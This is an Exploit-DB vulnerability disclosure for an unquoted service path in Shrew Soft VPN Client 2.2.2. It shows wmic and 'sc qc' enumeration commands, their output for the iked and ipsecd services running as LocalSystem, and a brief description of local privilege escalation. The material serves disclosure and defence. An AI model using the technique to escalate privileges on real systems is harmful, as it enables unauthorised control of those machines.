Shrew Soft VPN Client 2.2.2 – ‘iked’ Unquoted Service Path

  • 作者: D.Goedecke
    日期: 2019-11-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47660/
  • # Exploit Title: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path
    # Date: 2019-11-14
    # Exploit Author: D.Goedecke
    # Vendor Homepage: www.shrew.net
    # Software Link: https://www.shrew.net/download/vpn/vpn-client-2.2.2-release.exe
    # Version: 2.2.2
    # Tested on: Windows 10 64bit
    
    
    C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
    ShrewSoft IKE Daemon ikedC:\Program Files\ShrewSoft\VPN Client\iked.exe -service Auto
    ShrewSoft IPSEC Daemon ipsecdC:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service Auto 
    
    
    C:\Users\user>sc qc iked
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: iked
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\iked.exe -service
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : ShrewSoft IKE Daemon
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem
    
    C:\Users\user>sc qc ipsecd
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: ipsecd
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : ShrewSoft IPSEC Daemon
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem 
    
    
    
    #Exploit:
    ============
    A successful attempt would require the local user to be able to insert
    their code in the system root path undetected by the OS or other
    security applications where it could potentially be executed during
    application startup or reboot. If successful, the local user's code
    would execute with the elevated privileges of the application.